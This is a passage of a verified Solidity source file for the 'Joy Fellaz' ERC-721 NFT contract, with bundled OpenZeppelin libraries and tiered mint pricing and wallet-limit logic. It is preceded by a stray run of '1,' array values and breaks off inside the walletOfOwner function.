1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-21
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/LowGas.sol
pragma solidity >=0.7.0 <0.9.0;
contract JoyFellaz is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.015 ether;
uint256 public maxSupply = 5000;
uint256 public maxMintAmountPerTx = 20;
uint256 public maxTokensPerWallet = 3;
bool public paused = true;
bool public revealed = false;
mapping(address => uint256) public _tokensMintedPerWallet;
constructor() ERC721("Joy Fellaz", "JF") {
setHiddenMetadataUri("ipfs://QmVj8vFr7UZ3CcqALGxcBXUNmNNyX894hoRL4mpMFWTzFQ/hidden.json");
}
modifier mintCompliance(uint256 _mintAmount) {
require( (_tokensMintedPerWallet[msg.sender] + _mintAmount) <= needToUpdateMaxPerWallet(totalSupply()), "Exceeds max tokens per account!");
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function costCheck() public view returns (uint256 _cost) {
return needToUpdateCost(totalSupply());
}
function maxTokensPerWalletCheck() public view returns (uint256 _cost) {
return needToUpdateMaxPerWallet(totalSupply());
}
function needToUpdateCost(uint256 _supply) internal view returns(uint256 _cost)
{
if(_supply < 1000 && cost == 15000000000000000){
return 0.00 ether;
}
else if (_supply < 1000 && cost != 15000000000000000){
return cost;
}
else if (_supply <= maxSupply && cost == 15000000000000000){
return 0.015 ether;
}
else if (_supply <= maxSupply && cost != 15000000000000000){
return cost;
}
}
function needToUpdateMaxPerWallet(uint256 _supply) internal view returns(uint256 _cost)
{
if(_supply < 1000 && maxTokensPerWallet == 3) {
return 3;
}
else if (_supply < 1000 && maxTokensPerWallet != 3){
return maxTokensPerWallet;
}
else if (_supply <= maxSupply && maxTokensPerWallet == 3){
return 500;
}
else if (_supply <= maxSupply && maxTokensPerWallet != 3){
return maxTokensPerWallet;
}
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= needToUpdateCost(totalSupply()) * _mintAmount, "Insufficient funds!");
require( (_tokensMintedPerWallet[msg.sender] + _mintAmount) <= needToUpdateMaxPerWallet(totalSupply()), "Exceeds max tokens per account!");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
